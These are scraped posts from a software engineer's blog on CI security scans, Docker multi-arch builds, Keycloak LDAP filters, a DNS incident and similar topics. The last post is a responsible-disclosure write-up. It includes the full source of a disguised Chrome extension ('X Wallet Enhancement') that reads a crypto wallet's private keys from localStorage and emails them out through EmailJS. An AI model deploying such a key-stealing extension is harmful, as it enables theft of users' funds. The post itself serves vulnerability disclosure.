                                                       High       https://github.com/advisories/GHSA-98g6-xh36-x2p7

The given project `X.Infrastructure.Rules` has no vulnerable packages given the current sources.
...

As you can see, there are several projects vulnerable to CVE-2022-41064.

.NET Framework System.Data.SqlClient versions prior to 4.8.5 and Microsoft.Data.SqlClient versions prior to 1.1.4 and 2.0.0 prior to 2.1.2 is vulnerable to Information Disclosure Vulnerability.

To get rid of the issue, it's enough to upgrade the package:

dotnet add package System.Data.SqlClient -v 4.8.6

Now, how can developers prevent such situations? You already know the answer: automation!

After sharing my observations with the team, I created a merge request with a new GitLab pipeline that runs for every open merge request and master branch.

These are the changes in the .gitlab-ci.yml manifest:

stages:
  - security

vulnarable-dependencies:
  stage: security
  image: mcr.microsoft.com/dotnet/sdk:6.0-bullseye-slim
  before_script:
    - dotnet restore
  script:
    - dotnet list package --vulnerable 2>&1 | tee vulnerable-packages.log
    - >-
      ! grep -qiw "critical\|high\|moderate\|low" vulnerable-packages.log;
      if [ $? -ne 0 ]; then
        echo "🚨 Found vulnarable packages";
        exit 1
      else
        exit 0
      fi
  artifacts:
    when: always
    expire_in: 12h
    paths:
      - vulnerable-packages.log
  only:
    - master
    - merge_requests
  tags:
    - docker

The pipeline will fail if any of the projects in the solution have vulnerable packages. The downloadable log file contains the list of vulnerabilities and their severity.

This way, the team is always aware of the state of the dependencies and can take action to fix them.

References:

• How to Scan NuGet Packages for Security Vulnerabilities

Hi, I'm Andrey

I'm a software engineer specializing in production LLM inference, AI infrastructure and distributed systems. I enjoy transforming complex systems into something straightforward, dependable, and easy to understand.

At Severstal, I am responsible for the architecture and technical development of DaVinci, a shared GenAI platform that supports enterprise AI products and coding agents. Its inference foundation currently runs self-hosted, open-weight models on Kubernetes, vLLM and 24 NVIDIA H200 GPUs.

My work covers model serving, traffic routing and admission control, performance and reliability, observability, capacity planning, safe model rollout and multi-data-centre resilience. I also designed the target topology and resilience strategy for a planned expansion to 48 H200 and eight H100 GPUs across two data centres.

Background

Prior to specialising in AI infrastructure, I developed and scaled production systems in the SaaS, fintech, data privacy, payments and high-traffic consumer products sectors.

My experience includes:

• modernising a $3M+ ARR SaaS platform and improving critical backend paths by 2–10x, while achieving 99.998% availability;
• designing and launching a content platform that reached over 20 million monthly active users;
• building backend, cloud and distributed systems for start-ups and established companies in Germany and Russia.
• working in senior individual contributor, technical leadership and CTO roles.

I have consistently taken responsibility for important, technically complicated systems that are expected to work reliably in production.

Writing and contact

On this site, I write about AI infrastructure, LLM inference, distributed systems and the practical lessons I have learned from operating production platforms.

You can find my projects on GitHub, connect with me on LinkedIn, or download my résumé.

I'm a longtime Apple Music user. Most of my so-called music collection is on the streaming service. However, I occasionally buy rare or remastered releases ripped from CDs. These releases are usually in the FLAC format, which Apple Music doesn't support. But I've found an easy workaround that allows me to organize and play albums on the go.

The centerpiece of the workaround is FFmpeg. So if you don't already have it installed, it's worth installing now:

brew install ffmpeg

Homebrew Formula

When the tool is ready to use, navigate to the folder containing the FLAC files and run the following script:

for file in *.flac; do ffmpeg -i "$file" -acodec alac -vcodec copy "`basename "$file" .flac`.m4a"; done; mkdir flac; mkdir alac; for file in *.flac; do mv "$file" "flac/"; done; for file in *.m4a; do mv "$file" "alac/"; done;

Silly One-liner Converting FLAC to ALAC

Susumu Hirasawa – Siren [Limited Edition]

The bash script converts the audio to the Apple Lossless format (*.m4a) and moves the files to the alac directory:

Finally, the alac directory can be dragged to Apple Music to import the album and upload its tracks to the cloud.

The Uploaded Album

If you're working on a project that needs to be packaged for a specific environment other than your machine, the CI/CD server is your best friend. Products like Github Actions can save you time and the hassle of building dependencies you won't use in development.

For example, many developers love Mac computers, especially the ones that come with Apple silicon. The sad truth is that we rarely deploy our code on servers with these processors and MacOS. Most of the time, projects run on Linux. Unfortunately, Python can't guarantee a deterministic or reproducible environment.

Running the command to create a list of all the dependencies that your package will need gives a different result on MacOS, Linux, Windows, and so on:

pip-compile --allow-unsafe --generate-hashes --no-emit-index-url --output-file=requirements-lock.txt > requirements-lock.txt

Using pip-tools to compile a requirements.txt file from your dependencies

Not all dependencies have universal wheels. Moreover, users can install different Python versions.

Now that you see the problem, let's take a quick look at possible solutions.

name: Build requirements-lock.txt

on:
  workflow_dispatch:

jobs:
  build-requirements-lock:
    runs-on: ubuntu-22.04
    steps:
      - uses: actions/checkout@v3
      - name: Set up Python 3.9
        uses: actions/setup-python@v3
        with:
          python-version: "3.9"
      - name: Install pip and pip-tools
        run: |
          pip install --upgrade pip
          pip install --upgrade pip-tools
      - name: Run pip-compile
        run: |
          pip-compile --allow-unsafe --generate-hashes --no-emit-index-url --output-file=requirements-lock.txt > requirements-lock.txt
      - name: Upload requirements-lock artifact
        uses: actions/upload-artifact@v3.1.1
        with:
          name: requirements-lock
          path: requirements-lock.txt
          retention-days: 3

build-requirements-lock-workflow

The Github Actions manifest above defines a workflow that can be triggered manually on any branch you like.

Suppose you're upgrading some dependencies in requirement.txt. pip install -r requirements.txt works fine. Now you want to generate a new lock file for the users. You commit the changes to your branch, wait for the tests to pass, and trigger the workflow:

Github Actions Workflow

A freshly generated requirements-lock.txt appears in downloadable artifacts. You download the file and add it to the repo.

Another option might be to run a similar workflow in a Docker container. I posted a note about multi-architecture builds a few months ago. Take a look! Just make sure you choose the same architecture and Python version that you want to distribute your project to.

One of the ways to synchronize users via a third-party provider with Keycloak is a mechanism called User Federation. It allows, using Kerberos or LDAP protocol, to pull user entries from your corporate authentication storage. However, if your organization is big enough to have a complex structure and there are a lot of users in the user directory, it could be challenging to get only a subset of the accounts that belong to different organization units.

For example, Active Directory models a tree-based structure using the following entities:

• CN = Common Name
• OU = Organizational Unit
• DC = Domain Component

All the distinguished names can be found in the official documentation provided by Microsoft.

To configure a new User Federation in Keycloak, it's required to specify a User DN. This distinguished name is the base object in the directory information tree where the search begins forming candidates for pulling authentication entries. Therefore, we need to know how to construct the User DN.

The base option that an Active Directory administrator could use to create user accounts is to organize them under organizational units:

OU=Main,DC=Orgname,DC=ru

Even if your organizational unit has a complex structure, it's still relatively easy for Keycloak to find user entries inside it – just activate the Search Scope: Subtree setting when configuring the user federation. In large organizations, the Active Directory structure can get quite messy. Instead of using clear distinguished names, administrators do something surprising even to them. How about putting entries under CN in different organizational units?

This is what I encountered while working on corporate user authentication for a media platform's CMS. User entries of the editors were grouped via the Common Name. So, there is no way to define User DN in the way I've mentioned in the example above. Fortunately, the LDAP connection allows providing a filter for Active Directory. In my case, writing the filter to select all of the members of the CMS_EDITOR group was enough to solve a problem:

(&(objectCategory=Person)(sAMAccountName=*)(|(memberOf=CN=CMS_EDITOR,OU=Security,OU=Groups,OU=Central,OU=Main,DC=Orgname,DC=ru)))

Moreover, the Custom User LDAP Filter setting in Keycloak supports logical operators like or with |, and I could use it for finding not only the members of the editor staff but also CMS admins, guests, etc.

Over the past few years, I've been interviewing dozens of software engineers who didn't know how their developed services run and operate in production. The reason for that is a rising trend in software engineering trusting in an infrastructure team, the magic of the cloud, Docker, Kubernetes, and whatnot.

A conversation with a talent usually looks the following:

Interviewer: How do you ship your service to production?

Candidate: We build Docker images and run containers.

Interviewer: Sounds cool! Can you tell me about the resource requirements for a container?

Candidate: Hmm, to be honest, I don't know the details. DevOps folks take care of that.

Interviewer: (discussing Python app) OK. And what application server do you use?

Candidate: Application Server? (Some people even reply: "You mean WSGI?")

Interviewer: Yes, the thing that handles web requests and runs your Python code.

Candidate: Hmm, let me open a project repo and check..

Candidate: It's...Gunicorn!

Interviewer: Great. Can you estimate how many requests the web application can handle?

Candidate: I don't think so because we don't do load testing.

Interviewer: So, it's not possible to do even a rough estimation?

Candidate: Nope.

Interviewer: OK. Do you understand what happens on a processes and threads level when the application server processes a request?

This is where the conversation hits a dead end. Many talents don't. And this is a red sign to me. It gets worse when a candidate claims they have experience with (semi)async services in production but can't explain a service model they have chosen and how the services operate because of that (including resources allocating and consumption).

You might say: "Why do I need to know all that low-level stuff in the 2020s?". Fair enough...if you don't develop software for thousands of users, have an unlimited budget for underutilized hardware, don't design distributed systems, or, simply, have an SRE team ready to solve all possible issues for you. Otherwise, please do.

In any modern project where there is a need to process events – a set of messages or a stream of data – developers often propose Apache Kafka as the infrastructure solution. This is not always a weighted choice – where a classic broker like ActiveMQ will do, marketing sometimes prevails.

But let's assume that you have deliberately chosen Kafka, or that the infrastructure team has left you no alternative. Before setting up broker parameters and writing producers and consumers, what questions should you ask yourself? To ensure a smooth start, I have prepared the following checklist:

1. The amount of data that is going to be generated by the producers → Will the network channel be sufficient for the entire system and its critical components? Is there an option to make use of message compression?

2. Data retention policy: How long do you need to keep data? → Consider the business and data protection requirements of a product you are developing, and the cost of storing data.

3. Message sending guarantees (Acks) → Finding the right balance between latency and reliability within replication (durability).

4. Message delivery guarantees → How critical is message loss or duplication of messages to the business objective? Are idempotency and transactionality needed?

5. What partitioning strategy will producers use? → Is the default strategy (Default partitioner) appropriate?

6. For a particular topic, is it important to store the entire message log, or are the latest changes sufficient → Consider using Compacted topics.

7. Do the created topics require a consumer group? → How do you plan to scale consumers and their bandwidth? What happens when the group is rebalanced?

That's it. The checklist/questionnaire is by no means exhaustive and it only covers the essentials. It leaves out a lot of things such as data encryption, authentication, authorization, and cluster configuration – assuming that the SRE team or some PAAS will take care of that for you.

Summer of 2019. I'm joining a large retail organization that is undergoing a digital transformation. The role I've been hired for is a technical leadership role. The project I'm taking over doesn't even have a complete team yet, which means I'll be wearing all sorts of hats until I hire someone and delegate work. You could say, I'm the only "developer" on the team. Also, the code base is already serving users, and the services are part of a lead generation funnel for one of the grocery networks. So if something goes down, the company loses potential customers and revenue. The fact that the project was developed by an outsourced team that has already left without handing over proper documentation makes things more complicated and fragile.

In a few days, I try to understand how the services are run in production, write missing README and system design papers, and create initial tasks for maintenance. All goes well, and I manage to deploy some changes to the backend. It's Friday afternoon, so I still have time to do a rollback if I've made a mistake. But nothing suspicious has been observed during the day, and I leave the office for the weekend.

The fun begins on Sunday. Because I'm in charge of the project, I'm the one who is on-call. I get a call from our support team telling me that the web application isn't responding from time to time and that they're getting complaints from customers.

The first thing I do is open my browser to check what users are seeing. Surprisingly, a web page loads just fine. I hit refresh – same result. Then I turn off Wi-Fi on my iPhone and open Safari – 504 error. It's a Nginx page. Now it is something.

Simplified diagram of the project architecture

I open the monitoring and observe no high load. CPU usage is low, more than 50% of memory is free, plenty of free disk space on each of the virtual machines, no spikes in the network bandwidth. Looking at the Nginx logs only proves that there's a gateway timeout error related to the backend. I should check the application backend logs. Nothing there, no errors at all.

At this point, I start to blame the network and call the network infrastructure team. These guys work on an organisational level and potentially can see what I can't. After spending an hour investigating together, we see nothing. It's already Sunday evening, and I'm almost hopeless.

I decide to take a break and go for a walk. When I'm back, I try to ssh to a VM again. Suddenly, I notice a few seconds of delay before I can type my commands into a terminal. "It can't be DNS", I say to myself. To prove it, I ping a public domain from our network. Again, a few seconds of delay and the network packets are flying without a hitch. "If DNS was down, the infrastructure team would notice.", I continue to reason. Before escalating the situation further to upper management, I choose to check the DNS configuration on the backend virtual machines.

The /etc/resolv.conf is a DNS resolver configuration file. It contains records in the following format:

nameserver [ip]
nameserver [ip]

In my developer's mind, a Linux machine receives these records at boot time and caches them. This file is then queried to resolve domains. What could possibly go wrong? Well, I ask the infrastructure team about the IP addresses I see in /etc/resolv.conf and get a surprising answer: "The IP addresses are DNS load balancers and the first one in the list is currently down". Hearing this, I begin to understand why the ssh and initial ping delays are happening. The first DNS load balancer is queried, but because it's down, it doesn't respond, and the resolution continues with the second IP address.

I remove the first nameserver from /etc/resolv.conf and drop the DNS cache on each of the VMs. After a few seconds, the 504 error and the gateway timeout disappear. In the morning, we'll discuss the incident with the infrastructure team and senior management. Fun week ahead.

At work, I am involved in the development of a machine learning SDK and cloud services for privacy and data protection. Like almost every company in this space, we rely heavily on Python's scientific ecosystem. Because it's quite mature and depends on native library development that started years ago, getting these packages to work on new architectures can be tedious.

I am one of the few developers on our team who has stuck with MacOS and have a Macbook Pro with M1 chip. There is no easy way for me to bootstrap our development environment in a matter of minutes. I have to use Conda, install specific versions of Python packages, patch some native libraries, and even create a symlink from an OS-specific package to its generic name (I'm talking to you, Tensorflow). People on the x86_64 architecture generally won't have this problem – almost every package we use comes with a pre-built wheel for a chosen OS. Moreover, to install the SDK as a dependency of, say, an HTTP API service, I had to assemble it from sources: pip install -e '.'

A few months ago we didn't even support the Arm64 architecture at a build level. This changed when I introduced a Github Action pipeline to build Python wheels for Linux x86_64, aarch64, and universal. Instead of manually compiling some native libraries on my machine, I moved the work to GitHub and its Linux instances. From that moment on, I could just get the package from a private PyPI registry. The sad truth is that I still use Conda and sometimes patch one or two transitive dependencies for my M1 chip. But other than that, no hard times to date.

Today I needed to distribute a newly created API service with the SDK inside as a Docker image. And I haven't found an easy way to define a Dockerfile that can be built and run on Apple Silicon without Conda:

FROM python:3.9-slim-buster AS base

ENV PYTHONDONTWRITEBYTECODE=1
ENV PYTHONUNBUFFERED=1

# Install Conda

RUN apt-get update && apt-get -y upgrade
RUN apt-get install -y --no-install-recommends build-essential g++ gcc libssl-dev cmake git wget
RUN rm -rf /var/lib/apt/lists/*

ENV PATH="/root/miniconda3/bin:${PATH}"
ARG PATH="/root/miniconda3/bin:${PATH}"

RUN wget \
    https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-aarch64.sh \
    && mkdir /root/.conda \
    && bash Miniconda3-latest-Linux-aarch64.sh -b \
    && rm -f Miniconda3-latest-Linux-aarch64.sh

# Create a Conda environment and install native dependencies

RUN --mount=type=cache,target=/root/.cache \
    conda init bash && . /root/.bashrc && \
    conda update conda && \
    conda create -n de_agent python=3.9 && \
    conda env config vars set -n de_agent LD_PRELOAD=/usr/lib/aarch64-linux-gnu/libgomp.so.1 && \
    conda activate de_agent && \
    conda install gdal llvmdev dm-tree -y && \
    pip install --upgrade pip setuptools wheel && \
    pip install h3

# Copy application files

WORKDIR /app

COPY app/ .
COPY logging.yaml .
COPY main.py .
COPY requirements.txt ./

# Install Python packages

ARG DE_AGENT_PYPI_TOKEN

RUN --mount=type=cache,target=/root/.cache \
    . /root/.bashrc && conda activate de_agent && \
    pip install -r requirements.txt --extra-index-url=https://${DE_AGENT_PYPI_TOKEN}:@pypi.****.ai/pypi/ && \
    pip install numpy==1.23.5

# Cleanup

RUN apt -qy purge --auto-remove build-essential g++ gcc libssl-dev cmake git wget
RUN apt autoremove && apt clean
RUN rm -rf /var/lib/apt/lists/*

# Create a user

RUN groupadd -r de_agent && useradd -r -m -g de_agent de_agent
RUN chown -R de_agent:de_agent /app

USER de_agent

# Run the web application

EXPOSE 8000

ENTRYPOINT ["PYTHONPATH=.", "python", "main.py"]

As you can see, the manifest is quite verbose. It also adds the Conda binaries and related files to a release image. It is a price that must be paid.

Fortunately, for Linux, we don't need all of this machinery:

FROM python:3.9-slim-buster AS base

ENV PYTHONDONTWRITEBYTECODE=1
ENV PYTHONUNBUFFERED=1

# Install system packages

RUN apt-get update && apt-get -y upgrade
RUN apt-get install -y --no-install-recommends build-essential g++ gcc libssl-dev cmake git wget
RUN rm -rf /var/lib/apt/lists/*

# Copy application files

WORKDIR /app

COPY app/ .
COPY logging.yaml .
COPY main.py .
COPY requirements.txt ./

# Install Python dependencies

ARG DE_AGENT_PYPI_TOKEN

RUN --mount=type=cache,target=/root/.cache \
    pip install -r requirements.txt --extra-index-url=https://${DE_AGENT_PYPI_TOKEN}:@pypi.****.ai/pypi/

# Cleanup

RUN apt -qy purge --auto-remove build-essential g++ gcc libssl-dev cmake git wget
RUN apt autoremove && apt clean
RUN rm -rf /var/lib/apt/lists/*

# Create a user

RUN groupadd -r de_agent && useradd -r -m -g de_agent de_agent
RUN chown -R de_agent:de_agent /app

USER de_agent

# Run the web application

EXPOSE 8000

ENTRYPOINT ["PYTHONPATH=.", "python", "main.py"]

The question now is how to build Docker images for both architectures on a Mac. This is where Docker comes in. Docker Desktop officially supports building multi-arch images for Arm and x86. Learning this, I was able to add a few targets to my Makefile to quickly build images:

build: # Build a Docker image for x86_64
 docker buildx build --platform linux/amd64 -t de-agent:amd64-latest --build-arg DE_AGENT_PYPI_TOKEN=${DE_AGENT_PYPI_TOKEN} -f Dockerfile.amd64 --no-cache .

build-arm: # Build a Docker image for arm64
 docker  buildx build --platform linux/arm64 -t de-agent:arm64-latest --build-arg DE_AGENT_PYPI_TOKEN=${DE_AGENT_PYPI_TOKEN} -f Dockerfile.arm64 --no-cache .

make build

Docker image built for the amd64 architecture

One can say, it's so much hassle for doing all of this locally and a proper CI can solve such a case easily. I agree – as I've mentioned, I like shifting work out of my shoulders and giving it to some machine in the cloud. But in situations where CI is not available, creating multi-arch images can save the day. It certainly did for me.

In January 2022, I joined the community of one of the proof-of-stake blockchains. To play with what the protocol and its ecosystem offered, I created a wallet account on the official website https://wallet.****.org. Apart from general curiosity, I was interested in how they achieved security in a browser, especially in the age of extensions and client-side vulnerabilities.

It turned out that when a user logged in, the wallet application (built in React) generated a set of public and private keys and stored them in the browser's local storage. With my experience of building authentication and authorization in distributed systems, I knew this was not the best thing to do – in general, it's easy for a browser extension and client-side code to read data from local storage ¹.

To prove this, I decided to write a simple extension for Chrome that would retrieve keys from a victim's browser and send them to my anonymous email address.

The root directory of my pickpocket extension looked like this:

.
├── content.js
├── email.min.js
├── index.html
└── manifest.json

The main files are the manifest.json and content.js. The former is essential for installing the extension.

{
  "name": "X Wallet Enhancement",
  "version": "1.0",
  "manifest_version": 3,
  "content_scripts": [
    {
      "matches": [
        "https://wallet.****.org/*"
      ],
      "js": [
        "email.min.js",
        "content.js"
      ]
    }
  ]
}

email.min.js is just a client library from one of the cloud services that allows you to send email directly from a browser without any server code. index.html is a blank HTML page that displays nothing. The wallet hijacking logic lived in the content.js file:

emailjs.init('user_****'); // instantiating an email delivery service

let templateParams = {
    // gathering information about the victim's browser
    from_name: navigator.userAgent,
    // fetching wallet keys from the local storage
    storage: window.localStorage.getItem('_*:wallet:active_account_id_**'),
};

// using a prepared email template to send an email with keys
const serviceID = 'service_****';
const templateID = 'template_****';

emailjs.send(serviceID, templateID, templateParams)
 .then(() => {
    console.log("Wallet keys were send!");
 }, (err) => {
    console.error(JSON.stringify(err));
 });

Yes, such a dummy script.

I packed all four files into a zip archive and kindly asked my friend, who also had a wallet at https://wallet.***.org, to install my creation in his browser (pretending to do some social engineering). Before doing so, I told him about my findings and the theory I was trying to prove. He was happy to help, and the public and private keys of this wallet account appeared in my inbox a few seconds after the browser extension was installed. Next, I saved the keys to local storage in my browser and opened the wallet website.

Surprisingly, my friend's crypto-wallet balance was available to me, along with an option to withdraw the funds. During a Zoom call with my victim friend, I transferred some of his funds to an anonymous account and back. It was mind-blowing! A new, promising blockchain that had recently closed an investment round had a major vulnerability in its wallet. Worst of all, they had 2-factor authentication for users. Of course, not many people would activate it right away, and many didn't.

As an ethical developer, I created a vulnerability report, including the source code of the browser extension and my thoughts on how to improve the security of the web application. It was sent directly to the security team's email address on 18th of January. A few days later, I had a call with the CISO of the blockchain protocol, who assured me that they were aware of the issue and would address it in the next release. I was a little disappointed with the speed of the response to the incident. Two days is an eternity when one speaks about users' money. Nevertheless, the blockchain developers granted me their tokens in an amount equivalent to 1,000 USDT.

• Is LocalStorage safe to use? | Snyk
• Please Stop Using Local Storage
• Using HTTP cookies - HTTP | MDN
• HttpOnly | OWASP Foundation